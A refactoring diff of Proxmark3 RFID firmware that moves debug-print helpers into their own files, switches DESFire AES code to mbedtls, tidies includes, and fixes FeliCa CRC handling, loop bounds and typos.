#include "pm3_cmd.h"
|
||||
#include "usb_cdc.h"
|
||||
#include "usart.h"
|
||||
#include "proxmark3.h"
|
||||
|
||||
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
|
||||
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int receive_ng(PacketCommandNG *rx);
|
||||
|
||||
// Flags to tell where to add CRC on sent replies
|
||||
extern bool reply_with_crc_on_usb;
|
||||
|
@ -51,33 +43,10 @@ extern bool reply_with_crc_on_fpc;
|
|||
extern bool reply_via_fpc;
|
||||
extern bool reply_via_usb;
|
||||
|
||||
extern void Dbprintf(const char *fmt, ...);
|
||||
#define Dbprintf_usb(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = false;\
|
||||
reply_via_usb = true;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
|
||||
#define Dbprintf_fpc(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = true;\
|
||||
reply_via_usb = false;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
|
||||
#define Dbprintf_all(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = true;\
|
||||
reply_via_usb = true;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
|
||||
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
|
||||
int receive_ng(PacketCommandNG *rx);
|
||||
|
||||
#endif // _PROXMARK_CMD_H_
|
||||
|
130
armsrc/dbprint.c
Normal file
130
armsrc/dbprint.c
Normal file
|
@ -0,0 +1,130 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Mar 2006
|
||||
// Edits by Gerhard de Koning Gans, Sep 2007 (##)
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// The main application code. This is the first thing called after start.c
|
||||
// executes.
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "dbprint.h"
|
||||
|
||||
#include "string.h"
|
||||
#include "cmd.h"
|
||||
#include "printf.h"
|
||||
|
||||
#define DEBUG 1
|
||||
|
||||
//=============================================================================
|
||||
// Debug print functions, to go out over USB, to the usual PC-side client.
|
||||
//=============================================================================
|
||||
|
||||
void DbpStringEx(uint32_t flags, char *src, size_t srclen) {
|
||||
#if DEBUG
|
||||
struct {
|
||||
uint16_t flag;
|
||||
uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)];
|
||||
} PACKED data;
|
||||
data.flag = flags;
|
||||
uint16_t len = MIN(srclen, sizeof(data.buf));
|
||||
memcpy(data.buf, src, len);
|
||||
reply_ng(CMD_DEBUG_PRINT_STRING, PM3_SUCCESS, (uint8_t *)&data, sizeof(data.flag) + len);
|
||||
#endif
|
||||
}
|
||||
|
||||
void DbpString(char *str) {
|
||||
#if DEBUG
|
||||
DbpStringEx(FLAG_LOG, str, strlen(str));
|
||||
#endif
|
||||
}
|
||||
|
||||
void DbprintfEx(uint32_t flags, const char *fmt, ...) {
|
||||
#if DEBUG
|
||||
// should probably limit size here; oh well, let's just use a big buffer
|
||||
char s[PM3_CMD_DATA_SIZE] = {0x00};
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
kvsprintf(fmt, s, 10, ap);
|
||||
va_end(ap);
|
||||
|
||||
DbpStringEx(flags, s, strlen(s));
|
||||
#endif
|
||||
}
|
||||
|
||||
void Dbprintf(const char *fmt, ...) {
|
||||
#if DEBUG
|
||||
// should probably limit size here; oh well, let's just use a big buffer
|
||||
char output_string[PM3_CMD_DATA_SIZE] = {0x00};
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
kvsprintf(fmt, output_string, 10, ap);
|
||||
va_end(ap);
|
||||
|
||||
DbpString(output_string);
|
||||
#endif
|
||||
}
|
||||
|
||||
// prints HEX & ASCII
|
||||
void Dbhexdump(int len, uint8_t *d, bool bAsci) {
|
||||
#if DEBUG
|
||||
char ascii[9];
|
||||
|
||||
while (len > 0) {
|
||||
|
||||
int l = (len > 8) ? 8 : len;
|
||||
|
||||
memcpy(ascii, d, l);
|
||||
ascii[l] = 0;
|
||||
|
||||
// filter safe ascii
|
||||
for (int i = 0; i < l; i++) {
|
||||
if (ascii[i] < 32 || ascii[i] > 126) {
|
||||
ascii[i] = '.';
|
||||
}
|
||||
}
|
||||
|
||||
if (bAsci)
|
||||
Dbprintf("%-8s %*D", ascii, l, d, " ");
|
||||
else
|
||||
Dbprintf("%*D", l, d, " ");
|
||||
|
||||
len -= 8;
|
||||
d += 8;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void print_result(char *name, uint8_t *buf, size_t len) {
|
||||
|
||||
uint8_t *p = buf;
|
||||
uint16_t tmp = len & 0xFFF0;
|
||||
|
||||
for (; p - buf < tmp; p += 16) {
|
||||
Dbprintf("[%s: %02d/%02d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x",
|
||||
name,
|
||||
p - buf,
|
||||
len,
|
||||
p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]
|
||||
);
|
||||
}
|
||||
if (len % 16 != 0) {
|
||||
char s[46] = {0};
|
||||
char *sp = s;
|
||||
for (; p - buf < len; p++) {
|
||||
sprintf(sp, "%02x ", p[0]);
|
||||
sp += 3;
|
||||
}
|
||||
Dbprintf("[%s: %02d/%02d] %s", name, p - buf, len, s);
|
||||
}
|
||||
}
|
||||
|
||||
/* useful when debugging new protocol implementations like FeliCa
|
||||
void PrintToSendBuffer(void) {
|
||||
DbpString("Printing ToSendBuffer:");
|
||||
Dbhexdump(ToSendMax, ToSend, 0);
|
||||
}
|
||||
*/
|
53
armsrc/dbprint.h
Normal file
53
armsrc/dbprint.h
Normal file
|
@ -0,0 +1,53 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __DBPRINT_H
|
||||
#define __DBPRINT_H
|
||||
|
||||
#include "common.h"
|
||||
#include "ansi.h"
|
||||
|
||||
#define Dbprintf_usb(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = false;\
|
||||
reply_via_usb = true;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
|
||||
#define Dbprintf_fpc(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = true;\
|
||||
reply_via_usb = false;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
|
||||
#define Dbprintf_all(...) {\
|
||||
bool tmpfpc = reply_via_fpc;\
|
||||
bool tmpusb = reply_via_usb;\
|
||||
reply_via_fpc = true;\
|
||||
reply_via_usb = true;\
|
||||
Dbprintf(__VA_ARGS__);\
|
||||
reply_via_fpc = tmpfpc;\
|
||||
reply_via_usb = tmpusb;}
|
||||
|
||||
|
||||
void DbpString(char *str);
|
||||
void DbpStringEx(uint32_t flags, char *src, size_t srclen);
|
||||
void Dbprintf(const char *fmt, ...);
|
||||
void DbprintfEx(uint32_t flags, const char *fmt, ...);
|
||||
void Dbhexdump(int len, uint8_t *d, bool bAsci);
|
||||
void print_result(char *name, uint8_t *buf, size_t len);
|
||||
//void PrintToSendBuffer(void);
|
||||
|
||||
#endif
|
|
@ -27,6 +27,7 @@
|
|||
*/
|
||||
|
||||
#include "des.h"
|
||||
#include "string.h"
|
||||
|
||||
const uint8_t sbox[256] = {
|
||||
/* S-box 1 */
|
||||
|
@ -271,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) {
|
|||
uint32_t des_f(uint32_t r, uint8_t *kr) {
|
||||
uint8_t i;
|
||||
uint32_t t = 0, ret;
|
||||
uint64_t data;
|
||||
uint64_t data = 0;
|
||||
uint8_t *sbp; /* sboxpointer */
|
||||
permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data);
|
||||
for (i = 0; i < 6; ++i)
|
||||
|
|
|
@ -27,8 +27,7 @@
|
|||
#ifndef __DES_H_
|
||||
#define __DES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include "common.h"
|
||||
|
||||
/* the FIPS 46-3 (1999-10-25) name for triple DES is triple data encryption algorithm so TDEA.
|
||||
* Also we only implement the three key mode */
|
||||
|
|
|
@ -1,9 +1,7 @@
|
|||
#ifndef __DESFIRE_H
|
||||
#define __DESFIRE_H
|
||||
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include "aes.h"
|
||||
#include "common.h"
|
||||
#include "mifare.h"
|
||||
|
||||
#define MAX_CRYPTO_BLOCK_SIZE 16
|
||||
|
@ -71,10 +69,6 @@ enum DESFIRE_CRYPTOALGO {
|
|||
struct desfire_key {
|
||||
enum DESFIRE_CRYPTOALGO type;
|
||||
uint8_t data[24];
|
||||
// DES_key_schedule ks1;
|
||||
// DES_key_schedule ks2;
|
||||
// DES_key_schedule ks3;
|
||||
AesCtx aes_ks;
|
||||
uint8_t cmac_sk1[24];
|
||||
uint8_t cmac_sk2[24];
|
||||
uint8_t aes_version;
|
|
@ -1,18 +0,0 @@
|
|||
#ifndef __DESFIRE_CRYPTO_H
|
||||
#define __DESFIRE_CRYPTO_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <string.h>
|
||||
#include "crc32.h"
|
||||
#include "printf.h"
|
||||
#include "desfire.h"
|
||||
#include "iso14443a.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -25,7 +25,13 @@
|
|||
* Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication
|
||||
* May 2005
|
||||
*/
|
||||
#include "desfire_crypto.h"
|
||||
#include <string.h>
|
||||
#include "desfire_crypto_disabled.h"
|
||||
#include "crc32.h"
|
||||
#include "printf.h"
|
||||
#include "desfire.h"
|
||||
#include "iso14443a.h"
|
||||
#include "mbedtls/aes.h"
|
||||
|
||||
static void xor(const uint8_t *ivect, uint8_t *data, const size_t len);
|
||||
static size_t key_macing_length(desfirekey_t key);
|
||||
|
@ -571,15 +577,19 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect,
|
|||
case T_AES:
|
||||
switch (operation) {
|
||||
case MCO_ENCYPHER: {
|
||||
AesCtx ctx;
|
||||
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
|
||||
AesEncrypt(&ctx, data, edata, sizeof(edata));
|
||||
mbedtls_aes_context ctx;
|
||||
mbedtls_aes_init(&ctx);
|
||||
mbedtls_aes_setkey_enc(&ctx, key->data, 128);
|
||||
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata);
|
||||
mbedtls_aes_free(&ctx);
|
||||
break;
|
||||
}
|
||||
case MCO_DECYPHER: {
|
||||
AesCtx ctx;
|
||||
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
|
||||
AesDecrypt(&ctx, edata, data, sizeof(edata));
|
||||
mbedtls_aes_context ctx;
|
||||
mbedtls_aes_init(&ctx);
|
||||
mbedtls_aes_setkey_dec(&ctx, key->data, 128);
|
||||
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data);
|
||||
mbedtls_aes_free(&ctx);
|
||||
break;
|
||||
}
|
||||
}
|
18
armsrc/desfire_crypto_disabled.h
Normal file
18
armsrc/desfire_crypto_disabled.h
Normal file
|
@ -0,0 +1,18 @@
|
|||
#ifndef __DESFIRE_CRYPTO_H
|
||||
#define __DESFIRE_CRYPTO_H
|
||||
|
||||
#include "common.h"
|
||||
#include "desfire.h"
|
||||
|
||||
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
|
||||
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
|
||||
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
|
||||
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
|
||||
size_t key_block_size(const desfirekey_t key);
|
||||
size_t padded_data_length(const size_t nbytes, const size_t block_size);
|
||||
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
|
||||
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
|
||||
void cmac_generate_subkeys(desfirekey_t key);
|
||||
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
|
||||
|
||||
#endif
|
|
@ -18,6 +18,7 @@
|
|||
*/
|
||||
|
||||
#include "desfire_key.h"
|
||||
#include "string.h"
|
||||
|
||||
static inline void update_key_schedules(desfirekey_t key);
|
||||
|
||||
|
|
|
@ -1,11 +1,8 @@
|
|||
#ifndef __DESFIRE_KEY_INCLUDED
|
||||
#define __DESFIRE_KEY_INCLUDED
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include "iso14443a.h"
|
||||
#include "common.h"
|
||||
#include "desfire.h"
|
||||
//#include "mifare.h" // iso14a_card_select_t struct
|
||||
void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key);
|
||||
void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key);
|
||||
void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key);
|
||||
|
@ -17,4 +14,5 @@ void Desfire_aes_key_new_with_version(const uint8_t value[16], uint8_t version,
|
|||
uint8_t Desfire_key_get_version(desfirekey_t key);
|
||||
void Desfire_key_set_version(desfirekey_t key, uint8_t version);
|
||||
void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key);
|
||||
|
||||
#endif
|
||||
|
|
|
@ -12,8 +12,7 @@
|
|||
#ifndef __EMVCARD_H
|
||||
#define __EMVCARD_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include "common.h"
|
||||
|
||||
//structure to hold received/set tag values
|
||||
//variable data inputs have length specifiers
|
20
armsrc/epa.c
20
armsrc/epa.c
|
@ -12,6 +12,16 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "epa.h"
|
||||
|
||||
#include "cmd.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "iso14443a.h"
|
||||
#include "iso14443b.h"
|
||||
#include "string.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "commonutil.h"
|
||||
#include "ticks.h"
|
||||
|
||||
// Protocol and Parameter Selection Request for ISO 14443 type A cards
|
||||
// use regular (1x) speed in both directions
|
||||
// CRC is already included
|
||||
|
@ -129,8 +139,8 @@ void EPA_Finish() {
|
|||
//-----------------------------------------------------------------------------
|
||||
// Parses DER encoded data, e.g. from EF.CardAccess and fills out the given
|
||||
// structs. If a pointer is 0, it is ignored.
|
||||
// The function returns 0 on success and if an error occured, it returns the
|
||||
// offset where it occured.
|
||||
// The function returns 0 on success and if an error occurred, it returns the
|
||||
// offset where it occurred.
|
||||
//
|
||||
// TODO: This function can access memory outside of the given data if the DER
|
||||
// encoding is broken
|
||||
|
@ -264,7 +274,7 @@ void EPA_PACE_Collect_Nonce(PacketCommandNG *c) {
|
|||
* ack layout:
|
||||
* arg:
|
||||
* 1. element
|
||||
* step where the error occured or 0 if no error occured
|
||||
* step where the error occurred or 0 if no error occurred
|
||||
* 2. element
|
||||
* return code of the last executed function
|
||||
* d:
|
||||
|
@ -470,14 +480,14 @@ void EPA_PACE_Replay(PacketCommandNG *c) {
|
|||
uint8_t response_apdu[300] = {0};
|
||||
|
||||
// now replay the data and measure the timings
|
||||
for (int i = 0; i < sizeof(apdu_lengths_replay); i++) {
|
||||
for (int i = 0; i < ARRAYLEN(apdu_lengths_replay); i++) {
|
||||
StartCountUS();
|
||||
func_return = EPA_APDU(apdus_replay[i].data,
|
||||
apdu_lengths_replay[i],
|
||||
response_apdu);
|
||||
timings[i] = GetCountUS();
|
||||
// every step but the last one should succeed
|
||||
if (i < sizeof(apdu_lengths_replay) - 1
|
||||
if (i < ARRAYLEN(apdu_lengths_replay) - 1
|
||||
&& (func_return < 6
|
||||
|| response_apdu[func_return - 4] != 0x90
|
||||
|| response_apdu[func_return - 3] != 0x00)) {
|
||||
|
|
10
armsrc/epa.h
10
armsrc/epa.h
|
@ -11,9 +11,8 @@
|
|||
#ifndef __EPA_H
|
||||
#define __EPA_H
|
||||
|
||||
#include "cmd.h"
|
||||
#include "iso14443a.h"
|
||||
#include "iso14443b.h"
|
||||
#include "common.h"
|
||||
#include "pm3_cmd.h"
|
||||
|
||||
// this struct is used by EPA_Parse_CardAccess and contains info about the
|
||||
// PACE protocol supported by the chip
|
||||
|
@ -23,8 +22,6 @@ typedef struct {
|
|||
uint8_t parameter_id;
|
||||
} pace_version_info_t;
|
||||
|
||||
// note: EPA_PACE_Collect_Nonce and EPA_PACE_Replay are declared in apps.h
|
||||
|
||||
// general functions
|
||||
void EPA_Finish();
|
||||
size_t EPA_Parse_CardAccess(uint8_t *data,
|
||||
|
@ -37,4 +34,7 @@ int EPA_Setup();
|
|||
int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password);
|
||||
int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce);
|
||||
|
||||
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
|
||||
void EPA_PACE_Replay(PacketCommandNG *c);
|
||||
|
||||
#endif /* __EPA_H */
|
||||
|
|
268
armsrc/felica.c
268
armsrc/felica.c
|
@ -1,29 +1,32 @@
|
|||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "felica.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "BigBuf.h"
|
||||
#include "util.h"
|
||||
#include "usb_cdc.h" // for usb_poll_validate_length
|
||||
#include "protocols.h"
|
||||
#include "crc16.h" // crc16 ccitt
|
||||
#include "crc16.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "string.h"
|
||||
#include "commonutil.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "mifare.h"
|
||||
|
||||
// FeliCa timings
|
||||
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56Mhz) cycles
|
||||
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56MHz) cycles
|
||||
#ifndef FELICA_REQUEST_GUARD_TIME
|
||||
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1)
|
||||
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) // 426
|
||||
#endif
|
||||
// FRAME DELAY TIME 2672 carrier cycles
|
||||
#ifndef FELICA_FRAME_DELAY_TIME
|
||||
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1)
|
||||
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) // 168
|
||||
#endif
|
||||
#ifndef DELAY_AIR2ARM_AS_READER
|
||||
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16)
|
||||
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) // 91
|
||||
#endif
|
||||
#ifndef DELAY_ARM2AIR_AS_READER
|
||||
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1)
|
||||
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209
|
||||
#endif
|
||||
|
||||
// CRC skips two first sync bits in data buffer
|
||||
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3)
|
||||
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len))
|
||||
|
||||
static uint32_t felica_timeout;
|
||||
static uint32_t felica_nexttransfertime;
|
||||
|
@ -106,7 +109,7 @@ static void shiftInByte(uint8_t bt) {
|
|||
static void Process18092Byte(uint8_t bt) {
|
||||
switch (FelicaFrame.state) {
|
||||
case STATE_UNSYNCD: {
|
||||
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not alsways the case
|
||||
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case
|
||||
if (bt > 0) {
|
||||
FelicaFrame.shiftReg = reflect8(bt);
|
||||
FelicaFrame.state = STATE_TRYING_SYNC;
|
||||
|
@ -170,13 +173,11 @@ static void Process18092Byte(uint8_t bt) {
|
|||
}
|
||||
case STATE_GET_CRC: {
|
||||
shiftInByte(bt);
|
||||
|
||||
if (FelicaFrame.rem_len <= 0) {
|
||||
FelicaFrame.rem_len = 0;
|
||||
// skip sync 2bytes. IF ok, residue should be 0x0000
|
||||
FelicaFrame.crc_ok = check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
|
||||
FelicaFrame.state = STATE_FULL;
|
||||
FelicaFrame.rem_len = 0;
|
||||
if (DBGLEVEL > 3) Dbprintf("[+] got 2 crc bytes [%s]", (FelicaFrame.crc_ok) ? "OK" : "No");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
@ -189,6 +190,7 @@ static void Process18092Byte(uint8_t bt) {
|
|||
/* Perform FeliCa polling card
|
||||
* Currently does NOT do any collision handling.
|
||||
* It expects 0-1 cards in the device's range.
|
||||
* return 0 if selection was successful
|
||||
*/
|
||||
static uint8_t felica_select_card(felica_card_select_t *card) {
|
||||
|
||||
|
@ -196,9 +198,9 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
// 0xB2 0x4B = sync code
|
||||
// 0x06 = len
|
||||
// 0x00 = rfu
|
||||
// 0xff = system service
|
||||
// 0xff = system service
|
||||
// 0x00 =
|
||||
// 0xff = system code service
|
||||
// 0xff = system code service
|
||||
// 0x00 = request code
|
||||
// b7 = automatic switching of data rate
|
||||
// b6-b2 = reserved
|
||||
// b1 = fc/32 (414kbps)
|
||||
|
@ -206,7 +208,6 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
// 0x00 = timeslot
|
||||
// 0x09 0x21 = crc
|
||||
static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21};
|
||||
|
||||
int len = 20;
|
||||
|
||||
// We try 20 times, or if answer was received.
|
||||
|
@ -217,7 +218,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0);
|
||||
|
||||
// polling card, break if success
|
||||
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
|
||||
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
|
||||
break;
|
||||
|
||||
WDT_HIT();
|
||||
|
@ -225,17 +226,31 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
} while (--len);
|
||||
|
||||
// timed-out
|
||||
if (len == 0)
|
||||
if (len == 0) {
|
||||
if (DBGLEVEL >= DBG_DEBUG)
|
||||
Dbprintf("Error: Time out card selection!");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// wrong answer
|
||||
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK)
|
||||
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) {
|
||||
if (DBGLEVEL >= DBG_DEBUG)
|
||||
Dbprintf("Error: Wrong answer selecting card!");
|
||||
return 2;
|
||||
}
|
||||
|
||||
// VALIDATE CRC residue is 0, hence if crc is a value it failed.
|
||||
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2))
|
||||
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) {
|
||||
if (DBGLEVEL >= DBG_DEBUG) {
|
||||
Dbprintf("Error: CRC check failed!");
|
||||
Dbprintf("CRC check was done on Frame: ");
|
||||
Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0);
|
||||
}
|
||||
return 3;
|
||||
}
|
||||
|
||||
if (DBGLEVEL >= DBG_DEBUG)
|
||||
Dbprintf("Card selection successful!");
|
||||
// copy UID
|
||||
// idm 8
|
||||
if (card) {
|
||||
|
@ -246,7 +261,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
memcpy(card->uid, card->IDm + 2, 6);
|
||||
memcpy(card->iccode, card->PMm, 2);
|
||||
memcpy(card->mrt, card->PMm + 2, 6);
|
||||
|
||||
if (DBGLEVEL >= DBG_DEBUG) {
|
||||
Dbprintf("Received Frame: ");
|
||||
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
|
||||
}
|
||||
}
|
||||
// more status bytes?
|
||||
return 0;
|
||||
|
@ -265,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
|
|||
// 8-byte IDm, number of blocks, blocks numbers
|
||||
// number of blocks limited to 4 for FelicaLite(S)
|
||||
static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
|
||||
|
||||
if (blocknum > 4 || blocknum <= 0)
|
||||
Dbprintf("Invalid number of blocks, %d != 4", blocknum);
|
||||
|
||||
uint8_t c = 0, i = 0;
|
||||
|
||||
// Sync bytes
|
||||
frameSpace[c++] = 0xb2;
|
||||
frameSpace[c++] = 0x4d;
|
||||
|
||||
|
@ -313,13 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
|
|||
|
||||
//set length
|
||||
frameSpace[2] = c - 2;
|
||||
AddCrc(frameSpace, c - 2);
|
||||
//Add CRC
|
||||
AddCrc(frameSpace + 2, c - 2);
|
||||
}
|
||||
|
||||
static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) {
|
||||
|
||||
uint8_t flags = FPGA_MAJOR_MODE_ISO18092;
|
||||
|
||||
uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092;
|
||||
if (power)
|
||||
flags |= FPGA_HF_ISO18092_FLAG_READER;
|
||||
if (highspeed)
|
||||
|
@ -337,19 +354,20 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
|
|||
// sending 0x00 0x00 0x00 0x00 0x00 0x00
|
||||
uint16_t c = 0;
|
||||
while (c < 6) {
|
||||
|
||||
// keep tx buffer in a defined state anyway.
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
|
||||
AT91C_BASE_SSC->SSC_THR = 0x00;
|
||||
c++;
|
||||
}
|
||||
}
|
||||
// sending sync code
|
||||
|
||||
// sending data
|
||||
// sending data with sync bytes
|
||||
c = 0;
|
||||
while (c < len) {
|
||||
if (DBGLEVEL >= DBG_DEBUG) {
|
||||
Dbprintf("Sending frame:");
|
||||
Dbhexdump(len, frame, 0);
|
||||
}
|
||||
|
||||
while (c < len) {
|
||||
// Put byte into tx holding register as soon as it is ready
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
|
||||
AT91C_BASE_SSC->SSC_THR = frame[c++];
|
||||
|
@ -381,12 +399,11 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
|
|||
// stop when button is pressed
|
||||
// or return TRUE when command is captured
|
||||
bool WaitForFelicaReply(uint16_t maxbytes) {
|
||||
|
||||
if (DBGLEVEL >= DBG_DEBUG)
|
||||
Dbprintf("WaitForFelicaReply Start");
|
||||
uint32_t c = 0;
|
||||
|
||||
// power, no modulation
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
|
||||
FelicaFrameReset();
|
||||
|
||||
